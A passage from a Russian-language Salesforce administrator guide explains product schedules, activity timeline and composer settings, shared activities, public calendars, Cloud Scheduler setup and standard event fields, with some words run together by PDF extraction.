для отдельных продуктов возможностей.

1. Введитестроку «Расписания продуктов» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите «Настройки расписаний продуктов».

2. Чтобы включить расписания объемов продукции и доходов для организации,
установите соответствующиефлажки. Обратите внимание, что отключение типа
расписания инициирует автоматическое удаление всех текущих сведений о
расписании из продуктов.

Дополнительную информацию об определении каждого типа расписания см. в
разделе «Общие сведения о продуктах, прайс-листах и расписаниях» на странице 1540.

3. Определите необходимость автоматического включения выбранного типа расписания для каждого продукта,
добавленного в прайс-лист. Данный параметр автоматически устанавливает флажок «Планирование объемов
продукции включено» или «Планирование доходов включено» для каждого продукта в прайс-листе.

4. Нажмите кнопку «Сохранить».

Чтобыповыситьконтрользарасписаниями, администраторымогутопределятьтипырасписания, доступныепользователям
для каждого продукта.
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Прим.: Включение и отключение расписаний не влияет на архивные продукты.

Если расписания используются кодом Apex, то организация не может отключить оба типа расписания. Например,
если код Apex ссылается на объект расписания (представлен в коде как OpportunityLineItemSchedule), то
пользователь может отключить только один тип расписания, но не оба.

СМ. ТАКЖЕ:

Понятие продукта

Помощь торговым представителям при управлении встречами и задачами

Помощь в управлении событиями и задачами для торговых представителей
Разрешите торговым представителям получать более точное представление об интересах, контактах, возможностях и
организациях. Воспользуйтесь общими параметрами действий, которые помогают управлять встречами и задачами и
отслеживать их. Параметры, поддерживаемые Lightning Experience и Salesforce Classic, различаются.

Рекомендации по компоновщику и временнойшкале действий в Lightning Experience

В некоторых организациях Salesforce макеты страниц или типы записей требуют поправок для предотвращения
пропадания вкладок с компоновщика действий. Таким же образом, если пользователь настраивает экран и порядок
отображения полей на временнойшкале действий, он должен убедиться в правильности алгоритма определенных
полей.

Рекомендации по настройке напоминаний о действиях в Salesforce Classic

Отключение индивидуальных настроек отображения напоминаний о событиях и задачах приводит к сбросу
пользовательских параметров напоминаний о действиях. Последующее повторное включение напоминаний
инициируетполучениенапоминанийтолькодлядействий, созданныхилиобновленныхпослеповторноговключения
данного параметра.

Рекомендации по общедоступным действиям (несколько контактов на действие)

Используйте «Общедоступные действия», чтобы позволить пользователям связывать несколько контактов с каждым
событием или задачей и просматривать информацию об открытых действиях и журнал действий на страницах
сведенийо контактах. Функция «Общедоступные действия», включенная в организации Salesforceпользователемили
по умолчанию, не может быть выключена. Независимо от того, активированы или отключены «Общедоступные
действия», просмотрите эти рекомендации.

Рекомендации по общедоступным действиям (несколько контактов на действие)

Чтобы включить связанные контакты в другие сведения о событиях и задачах, следует включить связанный список
«Имя» в макеты страниц сведений о событиях и задачах.

СМ. ТАКЖЕ:

Параметры настройки для одновременного управления событиями и задачами
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Рекомендации по компоновщику и временной шкале действий в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ВнекоторыхорганизацияхSalesforceмакетыстраницилитипызаписейтребуютпоправок
дляпредотвращенияпропаданиявкладокскомпоновщикадействий. Такимжеобразом,
еслипользовательнастраивает экранипорядокотображенияполейнавременнойшкале
действий, он должен убедиться в правильности алгоритма определенных полей.

Конфигурация макетов страниц и типов записей влияет на вкладки в
компоновщике действий

Параметры макетов страниц и типов записей в некоторых организациях Salesforce
предотвращаютотображениевкладокдействийвкомпоновщикедляпотенциальных
клиентов или других объектов. По вопросу корректировки параметров см. раздел
«Конфигурация вкладок звонков, задач и событий в компоновщике действий в
системе Lightning Experience»настранице2088и «Конфигурациядействияэлектронной
почты в компоновщике событий в системе Lightning Experience» на странице 2089.

Временнаяшкала действий и списки связанных действий (открытые действия, журнал действий)
Salesforce не отображает связанные списки «Открытые действия» и «Журнал действий» на страницах сведений для
объектов, поддерживающихдействия. Взаменданныйинтерфейсотображаетвременнуюшкалудействий. Объектами,
поддерживающимидействия, являютсяпотенциальныеклиенты, интересующиесяклиенты, контактыинастраиваемые
объекты, которым разрешается поддержка действий.

Приудалениисвязанногоспискадействий («Открытыедействия» или «Журналдействий») измакетов страницсистема
Salesforce не отображает соответствующие разделы временнойшкалы («Последующие действия» или «Прошлые
действия») на данных страницах.

Временная шкала действий отображает открытые действия в обратном порядке по отношению к связанному списку
открытых действий. Вместо этого она представляет все действия непрерывно от будущих до прошедших. В поле
«Дальнейшие действия» временная шкала отображает действия в хронологическом порядке на сегодня. Задачи без
даты отображаются в верхней части, а просроченные задачи — в нижней части.

Последствия настройки экрана и порядка отображения полей на временнойшкале действий
Временнаяшкаладействийпозволяетпользователямнастраиватьспособипорядокотображенияполейдлясобытий,
задач и зарегистрированных вызовов посредством компактных макетов событий и задач. Однако даже при удалении
полей из макета они остаются на временнойшкале, так как они содержат важную информацию о действиях.
Предположим, пользователь удаляет с компактныхмакетов крайнийсрок, датуи время либополя статуса задачи. Дата
ивремяначала события, флажок задачи, крайнийсроквыполнения задачиидата внесениявызова вжурналпоявляются
надействияхнавременнойшкале. Компактныймакетнеподдерживаетполеописаниядлясобытийиполекомментариев
для задач, которые, тем не менее, всегда отображаются на временнойшкале. Остальные поля, отображаемые на
временнойшкале, соответствуют полям, добавленным в компактный макет.

Невозможность настройки значков временнойшкалы действий
Пользователи не могут настраивать значки для типов действий (события, задачи, вызовы и сообщения эл. почты) на
временнойшкале.

Условия закрытия и повторного открытия задачи
Предположим, пользователь создал правило проверки закрытия задачи; например, пользователи уполномочены
оставлять комментарии. Пользователи должны редактировать сведения о задаче перед ее закрытием. При наличии
несколькихстатусов задач «Закрыто» или «Открыто» пользователидолжнывыбирать статусприповторномоткрытии
или закрытии задачи.
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Конфигурация вкладок вызовов, задач и событий в компоновщике событий в системе Lightning Experience

Вкладка вызовов, задач или событий не отображается компоновщиком действий для потенциальных клиентов или
других объектов в вашей организации Salesforce? Проверьте макет, тип записи и параметры полномочий.

Конфигурация действий электронной почты в компоновщике действий в системе Lightning Experience

Действие электронной почты не отображается компоновщиком действий для потенциальных клиентов или других
объектов в вашей организации Salesforce? Проверьте макет и параметры полномочий.

СМ. ТАКЖЕ:

Рекомендации по настройке списка задач в Lightning Experience

Конфигурация вкладок вызовов, задач и событий в компоновщике событий в системе Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладка вызовов, задач или событий не отображается компоновщиком действий для
потенциальныхклиентовилидругихобъектовввашейорганизацииSalesforce? Проверьте
макет, тип записи и параметры полномочий.

1. Посмотритенамакетстраницыобъекта — потенциальныеклиенты, интересующиеся
клиенты, организации — или настраиваемый объект, поддерживающий действия.
Проверьте, включено ли соответствующее действие в раздел «Действия Salesforce1
и Lightning Experience» на макете страницы объекта.

Прим.: Страница объекта наследует действия макета глобальной страницы,
пока пользователь не настроит действия в разделе «Действия Salesforce1 и
Lightning Experience» на макете страницы объекта.

2. Тип настраиваемой записи был создан для вызовов, задач или событий? (Типы записей определяют макет записи и
значения раскрывающегося списка. При необходимости определите как минимум один тип записи, доступный
пользователям для выбора при создании события или задачи). Посмотрите на макет страницы, связанной с типом
настраиваемой записи. Убедитесь, что тип записи был связан с соответствующим действием. Например, если
пользователь создал тип настраиваемой записи для вызовов, назначьте его для действия «Записать вызов в журнал».

3. Убедитесь, что ваши пользователи уполномочены просматривать такой тип настраиваемой записи.

СМ. ТАКЖЕ:

Действия в Lightning Experience

Порядок действий в Lightning Experience

Макеты страниц

Наборы полномочий
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Конфигурация действий электронной почты в компоновщике действий в системе Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Действие электронной почты не отображается компоновщиком действий для
потенциальныхклиентовилидругихобъектовввашейорганизацииSalesforce? Проверьте
макет и параметры полномочий.

1. Еслидействие электроннойпочтыотсутствует в компоновщике действий, откройте
макет страницы, привязаннойктипузаписидляпотенциальногоклиентаилидругого
объекта.

2. Добавьтедействие «Отправитькакое-либоэлектронноесообщение» (недействие
«Отправить электронное сообщение») в раздел «Действия Salesforce1 и Lightning
Experience» на макете страницы.

3. Убедитесь, чтопользователиуполномочены«Отправитьэлектронноесообщение»
(не «Отправить какое-либо электронное сообщение»).

СМ. ТАКЖЕ:

Действия в Lightning Experience

Порядок действий в Lightning Experience

Макеты страниц

Наборы полномочий

Рекомендации по настройке напоминаний о действиях в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме
Database.com Edition.

Отключениеиндивидуальныхнастроекотображениянапоминанийособытияхизадачах
приводит к сбросу пользовательских параметров напоминаний о действиях.
Последующееповторноевключениенапоминанийинициируетполучениенапоминаний
толькодлядействий, созданныхилиобновленныхпослеповторноговключенияданного
параметра.

Рекомендации по общедоступным действиям (несколько контактов на действие)

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в версиях: все
версии, кроме
Database.com Edition.

Используйте «Общедоступные действия», чтобы позволить пользователям связывать
несколько контактов с каждым событием или задачей и просматривать информацию
оботкрытыхдействияхижурнал действийна страницах сведенийо контактах. Функция
«Общедоступные действия», включенная в организации Salesforce пользователем или
по умолчанию, не может быть выключена. Независимо от того, активированы или
отключены «Общедоступные действия», просмотрите эти рекомендации.

Рекомендации по активации общедоступных действий

Ограничение количества контактов
Торговые представители могут связать с каждым событием или задачей не более 50
контактов.

Время, необходимое для активации общедоступных действий
Взависимостиотколичествадействий, выполняемыхорганизациейSalesforce, процесс
включения функции «Общедоступные действия» может занять 48 часов. Во время
данного процесса торговые представителимогут продолжить обработку событий и
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задач. Страница «Параметры действий» в меню «Настройка» позволяет просматривать текущий статус процесса и
рекомендации на случай его неудачного завершения.

Отображение связанных контактов напротив других сведений о действиях
Преждечемдобавить список связанных контактовна страницысведенийо событияхи задачах, убедитесь, чтомакеты
страниц событий и задач содержат связанный список «Имя». Убедитесь, что элементы связанного списка «Имя» не
содержат полей и их содержимое не подчиняется параметрам безопасности полей.

Отображение событий на странице Visualforce
Еслистраница Visualforce использует стандартныйконтроллердляотображениясобытийфункции «Общедоступные
действия», рекомендуем использовать API 26.0 или более поздней версии.

Рекомендации по отключению общедоступных действий

Ограничения для настраиваемых отчетов на основе объекта «Взаимосвязи действия»
Если функция «Общедоступные действия» выключена, то настраиваемые отчеты на основе объекта «Взаимосвязи
действия» применяют алгоритмы ниже.

• Они отображают только приглашенных на событие, но не организатора.

• Они не отображают события без приглашенных.

Отсутствие поддержки для настраиваемых поисков действий
Еслифункция «Общедоступные действия» выключена, то типынастраиваемыхотчетов, использующие взаимосвязи
настраиваемых полей поиска действий, не поддерживаются.

Повторяющиеся записи, созданные для сообщений эл. почты
Еслифункция «Общедоступные действия» выключена и торговые представители отправляют сообщения эл. почты
несколькимконтактам, система Salesforce создает закрытуюзадачу для каждого контакта. Врезультате система Salesforce
создает повторяющиеся записи вместо всего одной задачи, соответствующей сообщению эл. почты.

Рекомендации по общедоступным действиям (несколько контактов на действие)

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Чтобы включить связанные контакты в другие сведения о событиях и задачах, следует
включить связанный список «Имя» в макеты страниц сведений о событиях и задачах.

СМ. ТАКЖЕ:

Макеты страниц

Помощь в управлении событиями и календарями для торговых представителей
Оптимизируйтепорядок, используемыйторговымипредставителямидляуправлениявстречамиифункциейпланирования.
Параметры, поддерживаемые Lightning Experience, Salesforce Classic и приложением Salesforce1, различаются.
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Создание общедоступного календаря или календаря ресурсов и управление им в версии Salesforce Classic

Общедоступный календарь применяйте для управления действиями группы. Например, следите за мероприятиями
группы, такими как маркетинговые мероприятия, выпуски продуктов или учебные занятия, или планируйте общие
действия, такие как отпуска. Применяйте календарь ресурсов для планирования использования общедоступного
ресурса, например конференц-зала или проектора слайдов (рисунков и надписей на прозрачных пленках).

Настройка Cloud Scheduler в Salesforce Classic

Кнопка «Создать запрос на проведение встречи» отображается в макетах страниц по умолчанию. Данная кнопка
позволяет использовать приложение Cloud Scheduler для отправки запросов клиентам. Данная кнопка может
отображаться в связанном списке «Открытые действия» на страницах сведений о контактах, интересах и
организациях-лицах.

Поля событий
Записи событий содержат стандартные поля для отслеживания и регистрации сведений о событиях.

СМ. ТАКЖЕ:

Параметры настройки для событий и календарей

Создание общедоступного календаря или календаря ресурсов и управление им в версии Salesforce
Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Group Edition, Personal
Edition и Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
общедоступными
календарями:
• «Настройка

приложения»

Для управления
календарями ресурсов:
• «Настройка

приложения»

Чтобыпросмотреть нужную
запись о событии
(мероприятии), выполните
указанные ниже действия.
• Пользователи должны

иметь полномочие на
чтение

Общедоступныйкалендарьприменяйтедля управлениядействиямигруппы. Например,
следите за мероприятиями группы, такими как маркетинговые мероприятия, выпуски
продуктов или учебные занятия, или планируйте общие действия, такие как отпуска.
Применяйте календарь ресурсов для планирования использования общедоступного
ресурса, например конференц-зала или проектора слайдов (рисунков и надписей на
прозрачных пленках).

Количество календарей, доступное для создания, не ограничено.

• Просмотр и изменение существующих общедоступных календарей и календарей
ресурсов.

Введите строку «Общедоступные календари и ресурсы» в поле «Быстрый поиск» в
меню «Настройка» и выберите пункт «Общедоступные календари и ресурсы».

• Создание общедоступного календаря или календаря ресурсов.

1. Щелкните «Создать», назовите календарь, выберите «Активный», затем
сохраните календарь.

2. Нажмите кнопку «Общийдоступ». Добавьте общедоступные группы, роли или
пользователей, которым нужно предоставить доступ к календарю.

3. Чтобы определить уровень доступа к календарю, выберите нужное значение в
поле «Доступ к календарю».

Скрыть сведения
Другиепользователимогутпросматриватьдоступностьвыбранныхвременных
промежутков, нонемогутпросматриватьсведенияотипесобытийвкалендаре.

Скрыть сведения и добавить события
Другиепользователимогутпросматриватьдоступностьвыбранныхвременных
промежутков, но не могут просматривать сведения о событиях. Другие
пользователи могут добавлять события в календарь.
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Показать сведения
Другие пользователи могут просматривать подробные сведения о событиях в календаре.

Показать сведения и добавить события
Другие пользователи могут просматривать подробные сведения о событиях в календаре и добавлять события
в календарь.

Полный доступ
Другие пользователи могут просматривать подробные сведения о событиях в календаре, добавлять события
в календарь и редактировать текущие события в календаре.

• Удаление общедоступного календаря.

1. Введите строку «Общедоступные календари и ресурсы» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Общедоступные календари и ресурсы».

2. Щелкните ссылку «Удал.» напротив названия календаря.

Убедитесь, что пользователи имеют соответствующее полномочие. Например, приглашенное лицо, не имеющее
полномочия на чтение возможностей, не сможет просмотреть связанную с событием возможность.

СМ. ТАКЖЕ:

Доступ к действиям

Настройка Cloud Scheduler в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Personal Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц и параметров
действий:
• «Настройка

приложения»

Кнопка «Создать запрос на проведение встречи» отображается в макетах страниц по
умолчанию. Данная кнопка позволяет использовать приложение Cloud Scheduler для
отправки запросов клиентам. Данная кнопка может отображаться в связанном списке
«Открытые действия» на страницах сведений о контактах, интересах и
организациях-лицах.

Ниже перечислены методы, определяющие доступность кнопки «Создать запрос на
проведение встречи» в макетах страниц сведений. Эта кнопка также доступна в разделе
«Календарь» на вкладке «Начальная страница» при наличии вложенной вкладки
«Запрошенные конференции». Следующиедействия добавленияи удаленияне влияют
на кнопку в разделе «Календарь».

Быстрая настройка приложения Cloud Scheduler для нескольких макетов
страниц

1. Введите строку «Cloud Scheduler» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Cloud Scheduler».

2. Если новая тема оформления интерфейса пользователя еще не включена, то при
добавлении кнопки включите тему на странице пользовательского интерфейса в меню «Настройка».

3. Чтобы добавить кнопку «Создать запроснапроведение встречи» в связанный список «Открытые действия» у всех
соответствующих макетов страниц, нажмите кнопку «Добавить кнопку». Чтобы удалить кнопку из всех текущих
макетов страниц, нажмите кнопку «Удалить кнопку».
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Ручная настройка приложения Cloud Scheduler для отдельных макетов страниц

1. Если новая тема оформления интерфейса пользователя еще не включена, то при добавлении кнопки включите тему
настраницепользовательскогоинтерфейсавменю «Настройка».См. раздел «Настройкапараметровпользовательского
интерфейса».

2. Добавьтеилиудалите кнопку «Создатьзапроснапроведениевстречи»из связанногосписка «Открытыедействия»
нужных макетов страниц.

• Контакты

• Интересы

• Организации-лица (если включена их поддержка)

Пользователи не могут запросить конференцию с организацией-лицом, пока поле «Эл. почта» не добавлено
в макет страницы. В настройках управления объектами организаций-лиц перейдите в раздел «Макеты страниц».

Дополнительные параметры приложения Cloud Scheduler

Принеобходимости включите данныепараметры, позволяющиеповысить эффективностьприложения Cloud Scheduler.

• Попросите пользователей установить приложение Salesforce for Outlook.

Рекомендуем пользователям синхронизировать календарные события между системой Salesforce и приложением
Outlook, чтобы время встречи выбиралось в зависимости от доступности пользователя по календарю Salesforce.

• Добавьте логотип компании в запросы, отправленные приглашенным.

• Просмотрите запрошенные встречи в разделе «Календарь» вкладки «Начальная страница».

Вложенная вкладка «Запрошенные встречи» отображается по умолчанию. При удалении кнопки «Создать запрос на
проведение встречи» из всех макетов страниц рекомендуем удалить вложенную вкладку «Запрошенные встречи», так
как пользователи не могут запрашивать встречи.

• Разрешите пользователям-партнерам отправлять запросы на проведение встреч посредством приложения Cloud
Scheduler. Настраиваемыйпрофиль «Пользователь-партнер»должениметьсоответствующиеполномочияпользователя
на странице 2093, а сам профиль должен быть активен и назначен пользователям-партнерам.

Обязательные полномочия пользователя

Запросы на проведение встречи могут быть отправлены только при наличии полномочий «Отправка эл. почты» и
«Редактирование событий». Данные полномочия активированы в большинстве стандартных профилей.

Если обязательные полномочия отсутствуют, то:

• кнопка «Создать запрос на проведение встречи» не отображается в связанном списке «Открытые действия»;

• изменение, повторное планирование и отмена запрошенных встреч не поддерживаются.

Обязательные параметры безопасности поля

Как правило, доступ к запросам на проведение встречи предоставляется пользователям без изменения параметров
безопасности поля. Тем не менее, если организация Salesforce изменяет стандартные параметры безопасности поля для
некоторых профилей, рекомендуем просмотреть таблицу ниже и убедиться, что внесенные изменения не препятствуют
отправке запросов на проведение встречи.
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Прим.: Метки параметров, используемые в расширенном пользовательском интерфейсе профиля и наборах
полномочий, отличаются отметокпараметров, используемых висходномпользовательскоминтерфейсепрофиля
и на страницах настройки параметров безопасности полей.

ОписаниеОбязательные параметры
безопасности поля

ПолеОбъект

Исходный
пользовательский
интерфейс
профиля и
страницы
настройки полей

Наборы
полномочий и
расширенный
пользовательский
интерфейс
профиля

Еслиданноеполенедоступнодлячтения,
то кнопка «Создать запроснапроведение

Доступно  (уровень
доступа «Только

Чтение и
Редактирование

ИмяСобытие

встречи» не отображается в связанномдля чтения» не
выбран) списке «Открытые действия», а попытка

изменения (подтверждение или
повторноепланирование) илипросмотра
запрошенной конференции возвращает
сообщение об отсутствии необходимых
полномочий.

Если данное поле доступно для чтения,
но недоступно для редактирования, то
кнопка «Создать запрос на проведение
встречи» не отображается в связанном
списке «Открытые действия», а
запрошенные встречи доступны только
для чтения (подтверждение и повторное
планирование не поддерживаются).

По умолчанию последнее сообщение,
отправленное организатором после

ДоступноЧтениеОписание

подтверждения запрошенной
конференции, отображается в поле
«Описание» нового события.

Тем не менее, если поле «Описание»
недоступно для чтения, то последнее
сообщение не отображается в поле
«Описание» даже после изменения
параметров его доступности.
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Рекомендации по добавлению настраиваемого логотипа в запросы на проведение конференции в Salesforce Classic

При необходимости настраиваемые логотипы могут отображаться в сообщениях электронной почты, например в
запросах на проведение конференций. Следуйте данным рекомендациям при добавлении логотипов.

СМ. ТАКЖЕ:

Действия

Рекомендации по добавлению настраиваемого логотипа в запросы на проведение конференции в Salesforce
Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Personal Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
действий:
• «Настройка

приложения»

При необходимости настраиваемые логотипы могут отображаться в сообщениях
электроннойпочты, напримервзапросахнапроведениеконференций. Следуйтеданным
рекомендациям при добавлении логотипов.

Ниже перечислены области отображения настраиваемого логотипа.

• Электронные запросы, отправляемые приглашенным при отправке запроса на
проведение встречи или планировании события

• Страницыответов, позволяющиеприглашеннымвыбиратьвремяпроведениявстречи

• Страницыответов, позволяющиеприглашеннымприниматьилиотклонятьсобытия

Ниже перечислены рекомендации по использованию настраиваемого логотипа.

• Размеризображениянедолженпревышать 20 Кб. Допустимыеформатыизображения:
GIF, JPEG и PNG.

• Рекомендуем использовать изображение не более 130 пикселов по ширине,
100 пикселовповысотеи 72 пикселовнадюйм. Автоматическоеизменениеразмеров
можетмешатьправильномуотображениюболее крупныхизображенийвнекоторых
почтовых клиентах.

• Загрузите логотип на вкладку «Документы» и установите флажок «Внешний доступ».

Прим.:

– Логотип, хранящийся в папке «Общедоступные документы», может быть заменен другими пользователями.
Чтобы исключить непредвиденные изменения, рекомендуем создать папку, доступную только системным
администраторам, и использовать ее для загрузки логотипа.

– Нельзя использовать логотип, который хранится в папке «Мои персональные документы» или помечен
флажком «Только для внутреннего использования».

• Настраиваемый логотип, используемый в запросах на проведение встречи, не может быть удален со вкладки
«Документы». Выберитедругоеизображениевкачествелоготипаилиотменитеотображениенастраиваемогологотипа
в запросах на проведение встречи.

СМ. ТАКЖЕ:

Принцип действия Cloud Scheduler в Salesforce Classic

Поля событий
Записи событий содержат стандартные поля для отслеживания и регистрации сведений о событиях.

2095

Помощь торговым представителям при управлении
встречами и задачами

Настройка и обслуживание инструментов продаж



Поля событий в Lightning Experience

В Lightning Experience доступны следующие стандартные поля для отслеживания и регистрации сведенийо событиях.

Поля событий в Salesforce Classic

В Salesforce Classic доступны следующие стандартные поля для отслеживания и регистрации сведений о событиях.

Поля событий в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

В Lightning Experience доступны следующие стандартные поля для отслеживания и
регистрации сведений о событиях.

ОписаниеПоле

Данное поле определяет стандартную
валюту для всех полей валютыв действии.
Суммы отображаются в валюте действия.
Суммы также конвертируются в личную
валюту пользователя. Данное поле
доступно только мультивалютным
организациям.

Валюта действия

Установка этого флажка указывает, что
событие длится весь день.

Событие на весь день

Данное поле определяет назначенного
ответственногозасобытие. Поумолчанию
событие назначается автору.

Поле «Назначено» на странице сведений
особытиииливсписковомпредставлении

Назначено

отображает автора события. Но в случае
если приглашенный пользователь
просматривает отчет по действиям с
контактами, поле Назначено указывает
просматривающего пользователя в
качестве приглашенного.

Данное поле не поддерживается в версии
Personal Edition.

Данное поле определяет пользователя,
создавшего событие, а также дату и время
создания. Только для чтения.

Создано

Данноеполеопределяетзапланированную
дату события. Данное поле не

Дата

отображается при использовании
многодневных событий.

Описаниесобытия. Ограничениенаобъем
данных составляет 32 КБ.

Описание
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ОписаниеПоле

Данное поле определяет подразделение, которому
принадлежитдействие. Значениеданногополянаследуется

Подразделение

от связанной записи организации, интереса, обращения
или настраиваемого объекта (при наличии). В противном
случае, действиепринадлежитглобальномуподразделению.
Данное поле доступно только организациям,
использующим подразделения для сегментирования
данных.

Данноеполеотображаетдлинусобытия, продолжающегося
менее одного дня (в часах и минутах). Данное поле не
отображаетсяприиспользованиимногодневныхсобытий.

Продолжительность

Данноеполе содержитадрес эл. почтысвязанногоконтакта
или интереса. Данное поле заполняется значением из
связанной записи контакта или интереса.

Эл. почта

Данное поле определяет запланированную дату и время
окончаниясобытия. Данноеполеотображается толькопри
использовании многодневных событий.

Окончание

Данное поле содержит имя поля, которое определяет
значения раскрывающегося списка, доступные для записи.

Тип записи события

Доступно в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

Данноеполе содержитимяпользователя, которыйизменял
событиепоследним, а такжедатуивремяизменения. Только
для чтения.

Последнее изменение сделано

Данное поле содержит имя связанного контакта или
интереса. Прииспользованиифункции «Общедоступные

Имя

действия» неповторяющееся событие может быть связано
с 50 контактами.Данноеполеотображаетсяпользователям
только при наличии полномочия «Чтение» для контактов
и интересов. Связывание контакта с событием может
повлиятьнаорганизацию Salesforce, связаннуюссобытием.
См. поле «Связано с».

Данное поле определяет расположение события.Расположение

Данноеполесодержитномертелефонасвязанногоконтакта
или интереса. Данное поле заполняется значением из
связанной записи контакта или интереса.

Тел.

Данное поле определяет доступность сведений о событии
другим пользователям при просмотре календаря

Личное

ответственного за событие. Сведения о личных событиях
можно просмотреть в отчетах, результатах поиска или
календарях других пользователей только при наличии
полномочия «Просмотрвсехданных» или «Изменениевсех
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ОписаниеПоле

данных». Экспортированныефайлыданныхвсегдасодержат
личные события. События с приглашенными и события,
добавленные или измененные в календаре другого
пользователя, немогут быть личными. Личные событияне
могут быть связаны с другими записями.

Общедоступное
Прим.: До выпуска Summer'13 данное поле
называлось «Отображается на портале
самообслуживания».

Этотфлажокопределяет видимостьпрошедшего события
на портале самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал
самообслуживания недоступен для новых
организаций. Текущие организации могут
использовать портал самообслуживания в обычном
режиме.

При использовании сообществ значение данного поля
определяетвидимостьсобытиядлявнешнихпользователей
в сообществах. Событие, принадлежащее внешнему
пользователю, отображается данному пользователю в
сообществе, даже если это событие не является
общедоступным.

Данное поле не отображается по умолчанию.
Администратор Salesforce может сделать его видимым.

Данное поле определяет запись для связанного объекта
(такого как организация, потенциальный клиент или

Связано с

настраиваемый объект). Это поле доступно, только если
событие связано с контактом, а не с интересом. Данная
запись отображается пользователям только при наличии
полномочия «Чтение» для типа записи, с которой связано
событие.

При связывании события с объектом, отличным от
организации, система Salesforce использует порядок ниже
для определения организации события.

• При связывании события с потенциальным клиентом,
контрактом или настраиваемым объектом,
принадлежащим организации, система Salesforce
использует организацию данного объекта в качестве
организации события.

• При связывании события с объектом любого другого
типа и контактом система Salesforce использует
организацию основного контакта в качестве
организации события.
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ОписаниеПоле

• При пропуске поля «Связано с» система Salesforce не
связывает организацию с событием.

Данноеполеопределяет способотображениясобытияпри
просмотре календаря другимпользователем: «Занят», «Нет
на рабочем месте» или «Свободен».

Показывать время как

Запланированная дата и время начала события. Данное
поле отображается только при использовании
многодневных событий.

Начало

Данное поле содержит тему события, например «Встреча».
Тема может быть указана самостоятельно или выбрана из
списка предопределенных тем.

Тема

Данное поле определяет время начала запланированного
события. Данноеполенеотображаетсяприиспользовании
многодневных событий.

Время

Данное поле определяет тип события, например,
сообщение эл. почты или встреча. Длина значений
раскрывающегося списка ограничена 40 символами.

Тип

Поля событий в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

События с приглашенными
недоступны в версии:
Personal Edition.

В Salesforce Classic доступны следующие стандартные поля для отслеживания и
регистрации сведений о событиях.

ОписаниеПоле

Данное поле определяет стандартную
валюту для всех полей валютыв действии.
Суммы отображаются в валюте действия.
Суммы также конвертируются в личную
валюту пользователя. Данное поле
доступно только мультивалютным
организациям.

Валюта действия

Установив этот флажок, пользователь
указывает, что событие продолжается в
течение всего дня.

Событие на весь день

Данное поле определяет назначенного
ответственногозасобытие. Поумолчанию
событие назначается автору.

Поле «Назначено» на странице сведений
особытиииливсписковомпредставлении

Назначено

отображает автора события. Но в случае
если приглашенный пользователь
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ОписаниеПоле

просматривает отчет по действиям с контактами, поле
Назначено указывает просматривающего пользователя в
качестве приглашенного.

Данное поле не поддерживается версией Personal Edition.

Данныйфлажокпозволяетнастраиватьпоследовательность
повторяющихся событий.

Создать последовательность событий

Данноеполеопределяетпользователя, создавшегособытие,
а также дату и время создания. Только для чтения.

Создано

Данное поле определяет запланированную дату события.
Данное поле не отображается при использовании
многодневных событий.

Дата

Данное поле содержит описание события. Данное поле
содержит не более 32 Кб данных.

Описание

Данное поле определяет подразделение, которому
принадлежит действие. Значение данного поля

Подразделение

автоматически наследуется от связанной записи
организации, интереса, обращения или настраиваемого
объекта (при ее наличии). В противном случае, действие
принадлежит глобальному подразделению. Данное поле
доступно только организациям, использующим
подразделения для сегментирования данных.

Данноеполеотображаетдлинусобытия, продолжающегося
менее одного дня (в часах и минутах). Данное поле не
отображаетсяприиспользованиимногодневныхсобытий.

Продолжительность

Данноеполе содержитадрес эл. почтысвязанногоконтакта
или интереса. Данное поле автоматически заполняется
значением из связанной записи контакта или интереса.

Эл. почта

Данное поле определяет запланированную дату и время
окончаниясобытия. Данноеполеотображается толькопри
использовании многодневных событий.

Окончание

Данное поле содержит имя поля, которое определяет
значения раскрывающегося списка, доступные для записи.

Тип записи события

Доступно в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

Данноеполе содержитимяпользователя, которыйизменял
событиепоследним, а такжедатуивремяизменения. Только
для чтения.

Последнее изменение сделано

Данное поле содержит имя связанного контакта или
интереса. Прииспользованиифункции «Общедоступные

Имя

действия» неповторяющееся событие может быть связано
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ОписаниеПоле

с 50 контактами.Данноеполеотображаетсяпользователям
только при наличии полномочия «Чтение» для контактов
и интересов. Связывание контакта с событием может
повлиятьнаорганизацию Salesforce, связаннуюссобытием.
См. поле «Связано с».

Данное поле определяет расположение события.Расположение

Данноеполесодержитномертелефонасвязанногоконтакта
или интереса. Данное поле автоматически заполняется
значением из связанной записи контакта или интереса.

Тел.

Данное поле определяет доступность сведений о событии
